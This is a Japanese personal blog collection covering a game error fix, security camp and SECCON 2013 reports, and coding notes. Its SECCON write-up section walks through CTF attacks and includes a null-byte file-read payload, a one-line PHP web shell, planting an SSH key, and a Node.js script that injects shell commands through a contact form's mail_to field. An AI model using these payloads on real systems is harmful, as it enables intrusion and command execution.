BF4 が "GetDeviceRemovedReason" 的エラーで起動しない
BF4 を起動しようとすると、
DirectX function "GetDeviceRemovedReason" failed with DXGI_ERROR_DEVICE_HUNG ("The device is hung which is typically caused by issues in the graphics driver or alternatively the application"). GPU: "NVIDIA GeForce GTX 660 ", Driver: 33523
と出て起動しない。
ドライバ入れ直せば直るかもしれなかったけど、めんどくさかったのでググった。
NVIDIA コントロールパネルで PhysX を CPU にすればよいとのことで、その通りにすると直った。
なんか納得いかないので、ドライバをアップデートした時はまた PhysX の設定をもとに戻してみよう…。
エラーメッセージでググる人のために、エラーメッセージをスクリーンショットで載せず写経したけど、どこかスペルミスあるかも…。
#SECCON 全国大会に出場しました
SECCON 2013 全国大会にチーム 0x0 のお留守番兼リーダーとして参加しました。
2年連続優勝できてよかったです。
来年こそじゃんけんに打ち勝ち出場権を得たいと思います。
(誤解されるとアレなので一応弁解)
オンライン予選に5人で参加し全国大会出場権を得ましたが、全国大会は4名までとのことで、チーム内で話し合った結果僕が抜けることになりました。
「優勝してきてね!!!!!」って言って送り出したら本当に優勝してきてすごいと思いました(小学生並みの感想)。
#seccamp 2013 行ってきました。
Web セキュリティクラスのチューターとして参加しました。
非常にみなさんレベルが高く、サポートするこちらとしてもとてもやりがいがありました。
例のサイトはこちらです http://ctf.nash-dev.com
ことしの Web セキュリティクラスは、「講師陣お手製の脆弱性たっぷり SNS を扱う実習メイン」ということを頭に入れておいていただけると、この後の文章が読みやすいと思います。
感想・反省
各日1行で簡潔に。
0日目、幕張に乗り込み、いろいろ準備しました。ネットワーク系の設定にてこずり、ネットワーク勉強せねばと切に感じました。
1日目、まだ緊張している参加者さんとランチミーティング。少しは緊張を和らげられたかなと思います。キャンプ2013の名言も。
2日目、ぶっ通しで専門。てこずったネットワーク設定もちゃんと動いて一安心。参加者の方の目が輝いていました。ちなみにXSSくじは僕お手製です。
3日目、企業訪問・専門とチュータープレゼン。脆弱性を修正できる最後の専門、黙々と作業している姿が印象的でした。プレゼン、緊張してうまくしゃべれなかった。慣れねば。
4日目、午前専門。限られた時間で多くの脆弱性が修正されていてすごいと思いました。午後CTF。たくさんの人に自分の問題を解いてもらえて、こちらも楽しかったです。
5日目、成果報告。グループワークでは面白い発表を、クラス別では興味深い発表をたくさん聞け、チューターという立場ながら刺激を受けました。そして解散。
謝辞
キャンプにかかわったみなさん、素晴らしいイベントをありがとうございます!
このようなイベントを少しでも支えることができたことを本当にうれしく思います。
またどこかでお会いしたら、その時はよろしくお願いします!
キャンプ参加に迷ってる方
応募は無料です!!受かっても無料です!!仮に残念な結果になったとしてもペナルティは一切ありません!!
こんな楽しいイベント、見過ごすなんてもったいないですよ!!まずは応募!!!!
もっとキャンプの雰囲気を知りたい!方
- @security_camp ... 写真いっぱい・詳しい情報いっぱいでお勧めです!
- [seccamp2013]セキュリティキャンプ2013感想まとめ ... 今年の参加者の感想ブログがまとめられています!随時更新とのことなので適宜チェックしましょう!
最後に
#SECCON 全国大会に行ってきました
SECCON 全国大会のアレ
SECCON 全国大会にチーム0x0として参加しました。優勝うれしいです。
以下、簡単ですが Writeup です。
Mercury
stage1
stage2 というディレクトリがあることが分かっていました。
しかし stage2 には Basic 認証が掛かっており、ユーザ名とパスワードが分からなければログインできません。
そこで、何とかユーザ名とパスワードを手に入れる必要がありました。
stage1 には lang という GET パラメータを投げると、$_GET['lang'] . '.txt'
(実際は Perl でしたが)を読みに行って表示してくれるアプリケーションがありました。
ここで、/stage2/.htaccess
、/stage2/.htpasswd
を読みに行けばいいんじゃないかと思い、lang に stage2/.htpasswd%00
という値を渡したところ、しっかりと表示してくれました。
.htpasswd
に書いてあるものを @waidotto が John に突っ込んで、/stage2 にログインするためのユーザ名とパスワードが分かりました。
stage2
stage2 は、フォームに名前を入力すると、DBからその名前にマッチするユーザを検索してきて、パスワードとかを表示してくれるヤツでした。
3人ほどユーザがいましたが、パスワードは *
で表示されており、このままでは文字数しか分かりません。
stage1 の脆弱性を利用して、stage2 の cgi の中身を読むと、DBから返ってくるデータをちょこまかするとパスワードが普通に表示されそうな雰囲気。
UNION 使いそうだなーと思って調べている間に、@superbacker さんがパスワード表示に成功していました。
パスワードを見ると、/stage3xYz というパスに stage3 の問題があることが分かりました。
stage3
画像アップローダでした。
php ファイルをアップロードしたら動いてしまいました。
コードの中身はこんな感じのごく普通なものです。
<?php
system($_GET['cmd']);
このスクリプトで Mercury は丸裸同然ですが、まだ FLAG を書き込めていません。
FLAG書き込み
stage3 のスクリプトで、sudoers
を見ると、
・ユーザ stage4 はパスワード無しで stage5 になれて
・その権限で vi のみ起動できる
ことが分かりました。
FLAG ファイルの持ち主は stage5 だったので、これを利用して FLAG を書き込むのだろうと思いましたが、どうやって vi を起動するのかが問題でした。
しばらくここで躓いていましたが、@wasao と考えていたところ、自分の ssh 公開鍵を stage4 の ~/.ssh/authorized_keys
に置けばいいことが分かりました。
stage3 の脆弱性を利用して公開鍵を書き込みましたが、何故か弾かれる。
@superbacker さんに聞いたところ、単に URL エンコードを忘れて、+
が空白として解釈されている事が分かりました。それを修正すると、ssh 接続に成功しました。
その後、ssh 接続を数秒で切られるという妨害に幾度となく遭いましたが、vimmer の @waidotto の助けにより無事 FLAG を書き込むことに成功しました。
なんかすごく複雑なコマンドを使っていたので、気になる方は @waidotto に聞いてください。僕には理解不能でした。
Mars
ほぼ @nullmineral くんの成果です。
アクセスするとお問い合わせフォームが出てきます。
部署と自分のメールアドレス、コメント等が入力でき、送信すると「ありがとうございます」という画面が表示された後、またお問い合わせフォームに戻ってきます。
お問い合わせをすると、選択した部署に、コメントとお問い合わせした人のメールアドレスがメールで送らるのだろうと推測、そして部署に送られるメールに何か機密情報が入っているのではないかと思いました。
そこで、部署ではなく自分にメールを送るように仕向けようとしましたが、そもそも問題サーバは外部ネットワークにつながれてないという基本的なことに気づき、断念。
会場でメールサーバを建てようともしましたが、時間が掛かりすぎるということで却下。
その後、@nullmineral くんと @wasao と僕で悩み続け、@nullmineral くんが、特定の条件を満たすと任意のコマンドを実行できることを発見しました。
そこで次のようなコードを書き、どんどん Mars 攻略を進めました。
var http = require('http'),
url = require('url'),
querystring = require('querystring');
var parsedURL = url.parse('http://[Server IP]/cgi-bin/message.cgi'),
body = {
name: 'fugafuga',
email: 'hoge@hoge',
mail_to: 'tech@[Server IP]; echo; echo `' + process.argv[2] + '`', // ここが重要
comments: 'foofoo'
};
var postData = querystring.stringify(body);
var reqOptions = {
host: parsedURL.host,
port: 80,
path: parsedURL.pathname,
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': postData.length
}
};
var req = http.request(reqOptions, function(res) {
res.setEncoding('utf-8');
res.on('data', function(data) {
console.log(res.headers);
console.log(data);
});
});
req.write(postData);
req.end();
任意のコマンドが実行できると聞いたとき、テンションが上がりすぎたので、mail_to
以外の場所にコマンドを仕込んで同じことが出来るかを調べるのを忘れました。同じく tech@[Server IP]
とする必要があったのかも不明です。
その後、フラグファイルがどこにあるかを突き止め、echo FLAGWORD >> /var/local/web/FLAG
することでフラグを書き込むことに成功しました。
フラグを書き込んだ後は、ゆっくりキーワードを探し、submit しました。
今でもキーワードを順番に手に入れる(=正攻法で攻略する)にはどうすればいいのかが分かりません。サーバのイメージを貰ったら挑戦してみます。
なんかすごい条件を見つけた @nullmineral くんに感謝!!
ちなみに、フラッグワードを書き込めてうれしくてうれしくて、調子に乗って FLAG ファイルに以下のネタを書き込もうとしましたが、すんでのところで思いとどまりました。
初カキコ…ども…
俺みたいな高3でフラッグ書き込んでる腐れ野郎、他に、いますかっていねーか、はは
今日の会場の会話
urandomの妨害が激しい とか 0x0がBANされた とか
ま、それが普通ですわな
かたや俺は電子の砂漠でフラッグファイルを見て、呟くんすわ
it'a true falg.狂ってる?それ、誉め言葉ね。
好きなサーバ Mars
尊敬するチーム 0x0(DoS行為はNO)
なんつってる間に1時っすよ(笑) あ~あ、CTFの辛いとこね、これ
感想
Mercury やってるときが一番冴えてた気がします。
というか urandom の妨害が激しかったです。ssh の接続を切るとかスクリプト全消しとか、なかなかえぐい事をされました。何とか(チームメンバーが)かいくぐりましたが。
一応 Web 要員でしたが、Web 系問題がなくなった後はフラッグ保守要員でした。
手持ちぶさたにならないように、他のジャンルの勉強もしておこうと思います。
1人あたり8本のモンスターエナジーなど、頭のおかしい(褒め言葉)大会でしたが、とても楽しかったです。
実行委員会の皆さん、参加者の皆さん、素晴らしい大会をありがとうございました!
node-webkit で menubar
リファレンス読んでもよく分からなくて、かなり躓いたので自分用メモ。英語難しい。
var gui = require('nw.gui'); var menubar = new gui.Menu({ type: 'menubar' }); var subMenu = new gui.Menu(); var subMenuItem1 = new gui.MenuItem({ label: 'subMenuItem1 です' }); var subMenuItem2 = new gui.MenuItem({ label: 'subMenuItem2 です' }); subMenu.append(subMenuItem1); subMenu.append(subMenuItem2); menubar.append(new gui.MenuItem({ label: 'SubMenu', submenu: subMenu })); gui.Window.get().menu = menubar;
構造としては(括弧内はコード内での変数名)、
- Menu (menubar)
- MenuItem (無名)
- Menu (subMenu)
- MenuItem (subMenuItem{1,2})
- Menu (subMenu)
- MenuItem (無名)
になるのかな?
TypeScript + Sublime Text 2
TypeScript を触りたくなったので、Sublime Text 2 で快適に書くために準備しました。
忘れないように記録しておきます。環境は Mac OS X Lion です。
思い出しながら書いてるので、間違ってたらごめんなさい。
TypeScript のインストール
$ npm install typescript -g $ tsc Syntax: tsc [options] [file ..] Examples: tsc hello.ts tsc --out foo.js foo.ts tsc @args.txt ...
シンタックスハイライトする
http://blogs.msdn.com/b/interoperability/archive/2012/10/01/sublime-text-vi-emacs-typescript-enabled.aspx
ここから Sublime Text 用の定義ファイルを DL します。
DL したフォルダを ~/Downloads
とします。
$ cd ~/Library/Application\ Support/Sublime\ Text\ 2/Packages/ $ mkdir TypeScript $ cd ~/Downloads $ unzip typescript_support_for_sublime_text.zip $ cd TypeScript\ support\ for\ Sublime\ Text/ $ cp typescript.tmlanguage ~/Library/Application\ Support/Sublime\ Text\ 2/Packages/TypeScript
完了。
F7 でビルドできるようにする
http://blog.hugeaim.com/2012/10/03/build-typescript-with-sublime-text-2/
投稿者の方に感謝しつつスクリプトを選択->コピー
僕の環境では上のスクリプトがうまく動かなかったので、
"path": "/usr/local/bin:/opt/local/bin"
を
"path": "/Users/{user}/.node/v0.4.9/bin/"
にしました。
他にも動かない方がいましたら、which tsc
ってやって出た結果から tsc
を抜いたのを指定すれば動くと思います。
あと、フォルダ構成の都合上、
"cmd": ["tsc","$file"],
を
"cmd": ["tsc","--out","../js/$file_base_name.js","$file"],
にしました。
そして
$ cd ~/Library/Application\ Support/Sublime\ Text\ 2/Packages/ $ mkdir TypeScript-Build $ cd TypeScript-Build $ pbpaste > TypeScript.sublime-build
で完了です。
間違ってたりここおかしいんじゃね的なのは
@nash_fsまで教えていただけるとうれしいです。
DEncoder が新しくなりました。
DEncoder が新しくなりましたが、ダサいネーミングはそのままです。
DEncoder はその名の通り、様々な形式の文字列をエンコード・デコードするツールです。
以下からどうぞ!